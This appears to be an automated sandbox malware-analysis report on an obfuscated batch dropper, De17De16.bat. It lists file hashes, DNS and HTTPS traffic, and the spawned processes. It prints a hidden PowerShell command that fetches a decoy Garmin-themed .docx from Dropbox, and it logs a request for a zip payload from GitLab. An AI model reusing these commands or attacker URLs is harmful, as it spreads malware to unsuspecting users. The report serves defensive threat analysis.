                                                                                                                                                                                                                          SHA-512:C0C920A9369FF9E28C9DAE6CA21AE7A1F9A79F2F4F8F97E247D133700FC446CEAA2C6C40116DE644CEA9336D9064792F3AD7011EBCBF5B6675779C57590F167B
                                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                                          Preview:FIND: Parameter format not correct..

                                                                                                                                                                                                                          Static File Info

                                                                                                                                                                                                                          General

                                                                                                                                                                                                                          File type:Non-ISO extended-ASCII text, with very long lines (1448), with LF, NEL line terminators, with escape sequences
                                                                                                                                                                                                                          Entropy (8bit):5.6690234298710145
                                                                                                                                                                                                                          TrID:
                                                                                                                                                                                                                          • MP3 audio (1001/1) 100.00%
                                                                                                                                                                                                                          File name:De17De16.bat
                                                                                                                                                                                                                          File size:34'404 bytes
                                                                                                                                                                                                                          MD5:c0531774a7563455c10b7333360c5600
                                                                                                                                                                                                                          SHA1:07b48cae32641625f3d3c97c5f2176913a10aad1
                                                                                                                                                                                                                          SHA256:63f3f149ea4accea79b181ae90569ac05fbc9c4a56dc6097d4f7c5373aecac36
                                                                                                                                                                                                                          SHA512:35884ae1db46da7d5047ea13dbcb2b6c2377f706f3cf9008662946153e553dc954f8c57002b30a2dd28d48447863cd217616114363ade347394821e62020bc00
                                                                                                                                                                                                                          SSDEEP:768:8aS9laej+DDNHhqHoqnZenPaEsVqM3/a/vgnAh+Rt85ejHfLMgjv443GW9PaUWnF:sCXGl1b99df9G
                                                                                                                                                                                                                          TLSH:59F2E7A00B2B3D5F32436218D243A95239EA797D34BF1C33DA7D726D7AD581DC688872
                                                                                                                                                                                                                          File Content Preview:....>nul 2>&1 &cls.; ;@e%(........)(.....^...)...( ..._...)......( ..._...)......(......_...)......( ..._...)...%ch%(........)(.........)(........)...( ..._...)......(......^_...)...(.........)%%...(^......_...)...(........)(.........)(........)(........)

                                                                                                                                                                                                                          File Icon

                                                                                                                                                                                                                          Icon Hash:9686878b929a9886

                                                                                                                                                                                                                          Network Behavior

                                                                                                                                                                                                                          Network Port Distribution

                                                                                                                                                                                                                          TCP Packets

                                                                                                                                                                                                                          TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                                                          Dec 19, 2024 14:20:14.327456951 CET49702443192.168.2.7162.125.69.18
                                                                                                                                                                                                                          Dec 19, 2024 14:20:14.327533960 CET44349702162.125.69.18192.168.2.7
                                                                                                                                                                                                                          Dec 19, 2024 14:20:14.327789068 CET49702443192.168.2.7162.125.69.18
                                                                                                                                                                                                                          Dec 19, 2024 14:20:14.335916996 CET49702443192.168.2.7162.125.69.18
                                                                                                                                                                                                                          Dec 19, 2024 14:20:14.335938931 CET44349702162.125.69.18192.168.2.7
                                                                                                                                                                                                                          Dec 19, 2024 14:20:15.836664915 CET44349702162.125.69.18192.168.2.7
                                                                                                                                                                                                                          Dec 19, 2024 14:20:15.836780071 CET49702443192.168.2.7162.125.69.18
                                                                                                                                                                                                                          Dec 19, 2024 14:20:15.839735985 CET49702443192.168.2.7162.125.69.18
                                                                                                                                                                                                                          Dec 19, 2024 14:20:15.839751005 CET44349702162.125.69.18192.168.2.7
                                                                                                                                                                                                                          Dec 19, 2024 14:20:15.840024948 CET44349702162.125.69.18192.168.2.7
                                                                                                                                                                                                                          Dec 19, 2024 14:20:15.846539974 CET49702443192.168.2.7162.125.69.18
                                                                                                                                                                                                                          Dec 19, 2024 14:20:15.891350985 CET44349702162.125.69.18192.168.2.7
                                                                                                                                                                                                                          Dec 19, 2024 14:20:17.166358948 CET44349702162.125.69.18192.168.2.7
                                                                                                                                                                                                                          Dec 19, 2024 14:20:17.166418076 CET44349702162.125.69.18192.168.2.7
                                                                                                                                                                                                                          Dec 19, 2024 14:20:17.166459084 CET49702443192.168.2.7162.125.69.18
                                                                                                                                                                                                                          Dec 19, 2024 14:20:17.166503906 CET49702443192.168.2.7162.125.69.18
                                                                                                                                                                                                                          Dec 19, 2024 14:20:17.171825886 CET49702443192.168.2.7162.125.69.18
                                                                                                                                                                                                                          Dec 19, 2024 14:20:21.932907104 CET49717443192.168.2.7172.65.251.78
                                                                                                                                                                                                                          Dec 19, 2024 14:20:21.932936907 CET44349717172.65.251.78192.168.2.7
                                                                                                                                                                                                                          Dec 19, 2024 14:20:21.933078051 CET49717443192.168.2.7172.65.251.78
                                                                                                                                                                                                                          Dec 19, 2024 14:20:21.935791016 CET49717443192.168.2.7172.65.251.78
                                                                                                                                                                                                                          Dec 19, 2024 14:20:21.935803890 CET44349717172.65.251.78192.168.2.7
                                                                                                                                                                                                                          Dec 19, 2024 14:20:23.372314930 CET44349717172.65.251.78192.168.2.7
                                                                                                                                                                                                                          Dec 19, 2024 14:20:23.374631882 CET49717443192.168.2.7172.65.251.78
                                                                                                                                                                                                                          Dec 19, 2024 14:20:23.374631882 CET49717443192.168.2.7172.65.251.78
                                                                                                                                                                                                                          Dec 19, 2024 14:20:23.374649048 CET44349717172.65.251.78192.168.2.7
                                                                                                                                                                                                                          Dec 19, 2024 14:20:23.374903917 CET44349717172.65.251.78192.168.2.7
                                                                                                                                                                                                                          Dec 19, 2024 14:20:23.381895065 CET49717443192.168.2.7172.65.251.78
                                                                                                                                                                                                                          Dec 19, 2024 14:20:23.427333117 CET44349717172.65.251.78192.168.2.7
                                                                                                                                                                                                                          Dec 19, 2024 14:20:24.041670084 CET44349717172.65.251.78192.168.2.7
                                                                                                                                                                                                                          Dec 19, 2024 14:20:24.041731119 CET44349717172.65.251.78192.168.2.7
                                                                                                                                                                                                                          Dec 19, 2024 14:20:24.041881084 CET44349717172.65.251.78192.168.2.7
                                                                                                                                                                                                                          Dec 19, 2024 14:20:24.042035103 CET49717443192.168.2.7172.65.251.78
                                                                                                                                                                                                                          Dec 19, 2024 14:20:24.043075085 CET49717443192.168.2.7172.65.251.78
                                                                                                                                                                                                                          Dec 19, 2024 14:20:24.044528008 CET49723443192.168.2.7172.65.251.78
                                                                                                                                                                                                                          Dec 19, 2024 14:20:24.044576883 CET44349723172.65.251.78192.168.2.7
                                                                                                                                                                                                                          Dec 19, 2024 14:20:24.044841051 CET49723443192.168.2.7172.65.251.78
                                                                                                                                                                                                                          Dec 19, 2024 14:20:24.045129061 CET49723443192.168.2.7172.65.251.78
                                                                                                                                                                                                                          Dec 19, 2024 14:20:24.045145988 CET44349723172.65.251.78192.168.2.7
                                                                                                                                                                                                                          Dec 19, 2024 14:20:24.047792912 CET49723443192.168.2.7172.65.251.78
                                                                                                                                                                                                                          Dec 19, 2024 14:20:24.095338106 CET44349723172.65.251.78192.168.2.7
                                                                                                                                                                                                                          Dec 19, 2024 14:20:25.281034946 CET44349723172.65.251.78192.168.2.7
                                                                                                                                                                                                                          Dec 19, 2024 14:20:25.281121016 CET49723443192.168.2.7172.65.251.78

                                                                                                                                                                                                                          UDP Packets

                                                                                                                                                                                                                          TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                                                          Dec 19, 2024 14:20:14.182691097 CET5897853192.168.2.71.1.1.1
                                                                                                                                                                                                                          Dec 19, 2024 14:20:14.320375919 CET53589781.1.1.1192.168.2.7
                                                                                                                                                                                                                          Dec 19, 2024 14:20:17.173213005 CET5376353192.168.2.71.1.1.1
                                                                                                                                                                                                                          Dec 19, 2024 14:20:17.466272116 CET53537631.1.1.1192.168.2.7
                                                                                                                                                                                                                          Dec 19, 2024 14:20:21.784815073 CET5272753192.168.2.71.1.1.1
                                                                                                                                                                                                                          Dec 19, 2024 14:20:21.927355051 CET53527271.1.1.1192.168.2.7

                                                                                                                                                                                                                          DNS Queries

                                                                                                                                                                                                                          TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                                                                                                                          Dec 19, 2024 14:20:14.182691097 CET192.168.2.71.1.1.10x3a5eStandard query (0)www.dropbox.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                          Dec 19, 2024 14:20:17.173213005 CET192.168.2.71.1.1.10xdffStandard query (0)ucfed2534245b2146c15a30d37e1.dl.dropboxusercontent.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                          Dec 19, 2024 14:20:21.784815073 CET192.168.2.71.1.1.10xd72bStandard query (0)gitlab.comA (IP address)IN (0x0001)false

                                                                                                                                                                                                                          DNS Answers

                                                                                                                                                                                                                          TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                                                                                                                          Dec 19, 2024 14:20:14.320375919 CET1.1.1.1192.168.2.70x3a5eNo error (0)www.dropbox.comwww-env.dropbox-dns.comCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                                                                          Dec 19, 2024 14:20:14.320375919 CET1.1.1.1192.168.2.70x3a5eNo error (0)www-env.dropbox-dns.com162.125.69.18A (IP address)IN (0x0001)false
                                                                                                                                                                                                                          Dec 19, 2024 14:20:17.466272116 CET1.1.1.1192.168.2.70xdffNo error (0)ucfed2534245b2146c15a30d37e1.dl.dropboxusercontent.comedge-block-www-env.dropbox-dns.comCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                                                                          Dec 19, 2024 14:20:17.466272116 CET1.1.1.1192.168.2.70xdffNo error (0)edge-block-www-env.dropbox-dns.com162.125.69.15A (IP address)IN (0x0001)false
                                                                                                                                                                                                                          Dec 19, 2024 14:20:21.927355051 CET1.1.1.1192.168.2.70xd72bNo error (0)gitlab.com172.65.251.78A (IP address)IN (0x0001)false

                                                                                                                                                                                                                          HTTP Request Dependency Graph

                                                                                                                                                                                                                          • www.dropbox.com
                                                                                                                                                                                                                          • gitlab.com

                                                                                                                                                                                                                          HTTPS Proxied Packets

                                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                          0192.168.2.749702162.125.69.184437584C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                                          2024-12-19 13:20:15 UTC192OUTGET /scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1 HTTP/1.1
                                                                                                                                                                                                                          Host: www.dropbox.com
                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                          2024-12-19 13:20:17 UTC4091INHTTP/1.1 302 Found
                                                                                                                                                                                                                          Content-Security-Policy: frame-ancestors 'self' https://*.dropbox.com ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://*.purple.officeapps.live-int.com https://officeapps-df.live.com https://*.officeapps-df.live.com https://officeapps.live.com https://*.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusines [TRUNCATED]
                                                                                                                                                                                                                          Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                          Location: https://ucfed2534245b2146c15a30d37e1.dl.dropboxusercontent.com/cd/0/get/CghKiWb2VytBJ3hY2rZyZ4xwz7WIv21vvAZ__kVDYcaZkg24Y2-J_VTNmsG-8k5sKoQiRXCTXiMktooyqUQfOmqem7gn6CIowlFcV2BAjzuXny-yVg_gwJIDlp-zPBAs9_mMcjZMw1AlAgTeYFtdqbWZ/file?dl=1#
                                                                                                                                                                                                                          Pragma: no-cache
                                                                                                                                                                                                                          Referrer-Policy: strict-origin-when-cross-origin
                                                                                                                                                                                                                          Set-Cookie: gvc=MTA1NDI4MTI3ODYwMTE0Mjg3OTY1MTIyODA2NTU4MTUyODI2MDQ5; Path=/; Expires=Tue, 18 Dec 2029 13:20:16 GMT; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                          Set-Cookie: t=vOXDN21hXJ8r8EiuRxkDYZDD; Path=/; Domain=dropbox.com; Expires=Fri, 19 Dec 2025 13:20:16 GMT; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                          Set-Cookie: __Host-js_csrf=vOXDN21hXJ8r8EiuRxkDYZDD; Path=/; Expires=Fri, 19 Dec 2025 13:20:16 GMT; Secure; SameSite=None
                                                                                                                                                                                                                          Set-Cookie: __Host-ss=rvSB6Oldh0; Path=/; Expires=Fri, 19 Dec 2025 13:20:16 GMT; HttpOnly; Secure; SameSite=Strict
                                                                                                                                                                                                                          Set-Cookie: locale=en; Path=/; Domain=dropbox.com; Expires=Tue, 18 Dec 2029 13:20:16 GMT
                                                                                                                                                                                                                          X-Content-Type-Options: nosniff
                                                                                                                                                                                                                          X-Permitted-Cross-Domain-Policies: none
                                                                                                                                                                                                                          X-Robots-Tag: noindex, nofollow, noimageindex
                                                                                                                                                                                                                          X-Xss-Protection: 1; mode=block
                                                                                                                                                                                                                          Content-Length: 17
                                                                                                                                                                                                                          Date: Thu, 19 Dec 2024 13:20:16 GMT
                                                                                                                                                                                                                          Strict-Transport-Security: max-age=31536000; includeSubDomains
                                                                                                                                                                                                                          Server: envoy
                                                                                                                                                                                                                          Cache-Control: no-cache, no-store
                                                                                                                                                                                                                          X-Dropbox-Response-Origin: far_remote
                                                                                                                                                                                                                          X-Dropbox-Request-Id: 754771b39b07451385921c912bc6e612
                                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                                          2024-12-19 13:20:17 UTC17INData Raw: 3c 21 2d 2d 73 74 61 74 75 73 3d 33 30 32 2d 2d 3e
                                                                                                                                                                                                                          Data Ascii: ...status=302-->


                                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                          1192.168.2.749717172.65.251.784437932C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                                          2024-12-19 13:20:23 UTC95OUTGET /garvdsf/dsfg/-/raw/main/FGa1712.zip HTTP/1.1
                                                                                                                                                                                                                          Host: gitlab.com
                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                          2024-12-19 13:20:24 UTC453INHTTP/1.1 302 Found
                                                                                                                                                                                                                          Date: Thu, 19 Dec 2024 13:20:23 GMT
                                                                                                                                                                                                                          Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                                          Location: https://gitlab.com/users/sign_in
                                                                                                                                                                                                                          CF-Ray: 8f47b093cc6e41c1-EWR
                                                                                                                                                                                                                          CF-Cache-Status: MISS
                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                          Set-Cookie: _gitlab_session=b97d39e1ede5c3ba4898565dfee8bb79; path=/; expires=Thu, 19 Dec 2024 15:20:23 GMT; secure; HttpOnly; SameSite=None
                                                                                                                                                                                                                          Strict-Transport-Security: max-age=31536000
                                                                                                                                                                                                                          2024-12-19 13:20:24 UTC2134INData Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 72 65 63 61 70 74 63 68 61 2e 6e 65 74 2f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 6e 73 2e 68 74 6d 6c 20 68 74 74 70 73 3a 2f 2f 2a 2e 7a 75 6f 72 61 2e 63 6f 6d 2f 61 70 70 73 2f 50 75 62 6c 69 63 48 6f 73 74 65 64 50 61 67 65 4c 69 74 65 2e 64 6f 20 68 74 74 70 73 3a 2f 2f 67 69 74 6c 61 62 2e 63 6f 6d 2f 61 64 6d 69 6e 2f 20 68 74 74 70 73 3a 2f 2f 67 69 74 6c 61 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f
                                                                                                                                                                                                                          Data Ascii: content-security-policy: base-uri 'self'; child-src https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.googletagmanager.com/ns.html https://*.zuora.com/apps/PublicHostedPageLite.do https://gitlab.com/admin/ https://gitlab.com/assets/
                                                                                                                                                                                                                          2024-12-19 13:20:24 UTC502INData Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 59 75 52 36 4b 30 77 64 58 78 6e 25 32 46 66 5a 4b 54 4d 6e 30 78 79 4f 45 57 41 55 56 35 5a 76 7a 65 7a 55 25 32 42 68 54 39 50 48 76 69 77 4d 34 5a 50 38 33 30 63 39 65 58 69 5a 50 46 6d 6b 61 7a 72 54 5a 72 4c 25 32 42 63 46 4f 6c 55 70 68 61 31 71 4f 55 70 63 47 6d 76 4c 69 55 63 32 6b 6a 32 38 6b 4f 25 32 46 4a 4e 37 34 67 36 66 56 44 75 62 45 33 30 4b 64 41 65 37 64 34 59 49 47 4d 6f 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 4e 45 4c
                                                                                                                                                                                                                          Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YuR6K0wdXxn%2FfZKTMn0xyOEWAUV5ZvzezU%2BhT9PHviwM4ZP830c9eXiZPFmkazrTZrL%2BcFOlUpha1qOUpcGmvLiUc2kj28kO%2FJN74g6fVDubE30KdAe7d4YIGMo%3D"}],"group":"cf-nel","max_age":604800}NEL
                                                                                                                                                                                                                          2024-12-19 13:20:24 UTC104INData Raw: 36 32 0d 0a 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 59 6f 75 20 61 72 65 20 62 65 69 6e 67 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 6c 61 62 2e 63 6f 6d 2f 75 73 65 72 73 2f 73 69 67 6e 5f 69 6e 22 3e 72 65 64 69 72 65 63 74 65 64 3c 2f 61 3e 2e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                                                                                          Data Ascii: 62<html><body>You are being <a href="https://gitlab.com/users/sign_in">redirected</a>.</body></html>
                                                                                                                                                                                                                          2024-12-19 13:20:24 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                          Data Ascii: 0


                                                                                                                                                                                                                          Statistics

                                                                                                                                                                                                                          CPU Usage

                                                                                                                                                                                                                          Click to jump to process

                                                                                                                                                                                                                          Memory Usage

                                                                                                                                                                                                                          Click to jump to process

                                                                                                                                                                                                                          High Level Behavior Distribution

                                                                                                                                                                                                                          Click to dive into process behavior distribution

                                                                                                                                                                                                                          Behavior

                                                                                                                                                                                                                          Click to jump to process

                                                                                                                                                                                                                          System Behavior

                                                                                                                                                                                                                          General

                                                                                                                                                                                                                          Target ID:0
                                                                                                                                                                                                                          Start time:08:20:09
                                                                                                                                                                                                                          Start date:19/12/2024
                                                                                                                                                                                                                          Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                                                                          Commandline:C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\De17De16.bat" "
                                                                                                                                                                                                                          Imagebase:0x7ff7a8950000
                                                                                                                                                                                                                          File size:289'792 bytes
                                                                                                                                                                                                                          MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                                          Reputation:high
                                                                                                                                                                                                                          Has exited:false

                                                                                                                                                                                                                          General

                                                                                                                                                                                                                          Target ID:1
                                                                                                                                                                                                                          Start time:08:20:09
                                                                                                                                                                                                                          Start date:19/12/2024
                                                                                                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                          Imagebase:0x7ff75da10000
                                                                                                                                                                                                                          File size:862'208 bytes
                                                                                                                                                                                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                                          Reputation:high
                                                                                                                                                                                                                          Has exited:false

                                                                                                                                                                                                                          General

                                                                                                                                                                                                                          Target ID:3
                                                                                                                                                                                                                          Start time:08:20:09
                                                                                                                                                                                                                          Start date:19/12/2024
                                                                                                                                                                                                                          Path:C:\Windows\System32\chcp.com
                                                                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                                                                          Commandline:chcp.com 437
                                                                                                                                                                                                                          Imagebase:0x7ff764cc0000
                                                                                                                                                                                                                          File size:14'848 bytes
                                                                                                                                                                                                                          MD5 hash:33395C4732A49065EA72590B14B64F32
                                                                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                                          Reputation:high
                                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                                          General

                                                                                                                                                                                                                          Target ID:4
                                                                                                                                                                                                                          Start time:08:20:10
                                                                                                                                                                                                                          Start date:19/12/2024
                                                                                                                                                                                                                          Path:C:\Windows\System32\findstr.exe
                                                                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                                                                          Commandline:fiNdstr /L /I set "C:\Users\user\Desktop\De17De16.bat"
                                                                                                                                                                                                                          Imagebase:0x7ff70acd0000
                                                                                                                                                                                                                          File size:36'352 bytes
                                                                                                                                                                                                                          MD5 hash:804A6AE28E88689E0CF1946A6CB3FEE5
                                                                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                                          Reputation:moderate
                                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                                          General

                                                                                                                                                                                                                          Target ID:5
                                                                                                                                                                                                                          Start time:08:20:10
                                                                                                                                                                                                                          Start date:19/12/2024
                                                                                                                                                                                                                          Path:C:\Windows\System32\findstr.exe
                                                                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                                                                          Commandline:fiNdstr /L /I goto "C:\Users\user\Desktop\De17De16.bat"
                                                                                                                                                                                                                          Imagebase:0x7ff70acd0000
                                                                                                                                                                                                                          File size:36'352 bytes
                                                                                                                                                                                                                          MD5 hash:804A6AE28E88689E0CF1946A6CB3FEE5
                                                                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                                          Reputation:moderate
                                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                                          General

                                                                                                                                                                                                                          Target ID:6
                                                                                                                                                                                                                          Start time:08:20:10
                                                                                                                                                                                                                          Start date:19/12/2024
                                                                                                                                                                                                                          Path:C:\Windows\System32\findstr.exe
                                                                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                                                                          Commandline:fiNdstr /L /I echo "C:\Users\user\Desktop\De17De16.bat"
                                                                                                                                                                                                                          Imagebase:0x7ff70acd0000
                                                                                                                                                                                                                          File size:36'352 bytes
                                                                                                                                                                                                                          MD5 hash:804A6AE28E88689E0CF1946A6CB3FEE5
                                                                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                                          Reputation:moderate
                                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                                          General

                                                                                                                                                                                                                          Target ID:7
                                                                                                                                                                                                                          Start time:08:20:10
                                                                                                                                                                                                                          Start date:19/12/2024
                                                                                                                                                                                                                          Path:C:\Windows\System32\findstr.exe
                                                                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                                                                          Commandline:fiNdstr /L /I pause "C:\Users\user\Desktop\De17De16.bat"
                                                                                                                                                                                                                          Imagebase:0x7ff70acd0000
                                                                                                                                                                                                                          File size:36'352 bytes
                                                                                                                                                                                                                          MD5 hash:804A6AE28E88689E0CF1946A6CB3FEE5
                                                                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                                          Reputation:moderate
                                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                                          General

                                                                                                                                                                                                                          Target ID:8
                                                                                                                                                                                                                          Start time:08:20:10
                                                                                                                                                                                                                          Start date:19/12/2024
                                                                                                                                                                                                                          Path:C:\Windows\System32\find.exe
                                                                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                                                                          Commandline:fInd
                                                                                                                                                                                                                          Imagebase:0x7ff713a60000
                                                                                                                                                                                                                          File size:17'920 bytes
                                                                                                                                                                                                                          MD5 hash:4BF76A28D31FC73AA9FC970B22D056AF
                                                                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                                          Reputation:moderate
                                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                                          General

                                                                                                                                                                                                                          Target ID:9
                                                                                                                                                                                                                          Start time:08:20:10
                                                                                                                                                                                                                          Start date:19/12/2024
                                                                                                                                                                                                                          Path:C:\Windows\System32\find.exe
                                                                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                                                                          Commandline:find
                                                                                                                                                                                                                          Imagebase:0x7ff713a60000
                                                                                                                                                                                                                          File size:17'920 bytes
                                                                                                                                                                                                                          MD5 hash:4BF76A28D31FC73AA9FC970B22D056AF
                                                                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                                          Reputation:moderate
                                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                                          General

                                                                                                                                                                                                                          Target ID:10
                                                                                                                                                                                                                          Start time:08:20:10
                                                                                                                                                                                                                          Start date:19/12/2024
                                                                                                                                                                                                                          Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                                                                          Commandline:C:\Windows\system32\cmd.exe /c type tmp
                                                                                                                                                                                                                          Imagebase:0x7ff7a8950000
                                                                                                                                                                                                                          File size:289'792 bytes
                                                                                                                                                                                                                          MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                                          Reputation:high
                                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                                          General

                                                                                                                                                                                                                          Target ID:11
                                                                                                                                                                                                                          Start time:08:20:10
                                                                                                                                                                                                                          Start date:19/12/2024
                                                                                                                                                                                                                          Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                                                                          Commandline:C:\Windows\system32\cmd.exe /c type tmp
                                                                                                                                                                                                                          Imagebase:0x7ff7a8950000
                                                                                                                                                                                                                          File size:289'792 bytes
                                                                                                                                                                                                                          MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                                          General

                                                                                                                                                                                                                          Target ID:12
                                                                                                                                                                                                                          Start time:08:20:10
                                                                                                                                                                                                                          Start date:19/12/2024
                                                                                                                                                                                                                          Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                                                                          Commandline:powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')"
                                                                                                                                                                                                                          Imagebase:0x7ff741d30000
                                                                                                                                                                                                                          File size:452'608 bytes
                                                                                                                                                                                                                          MD5 hash:04029E121A0CFA5991749937DD22A1D9
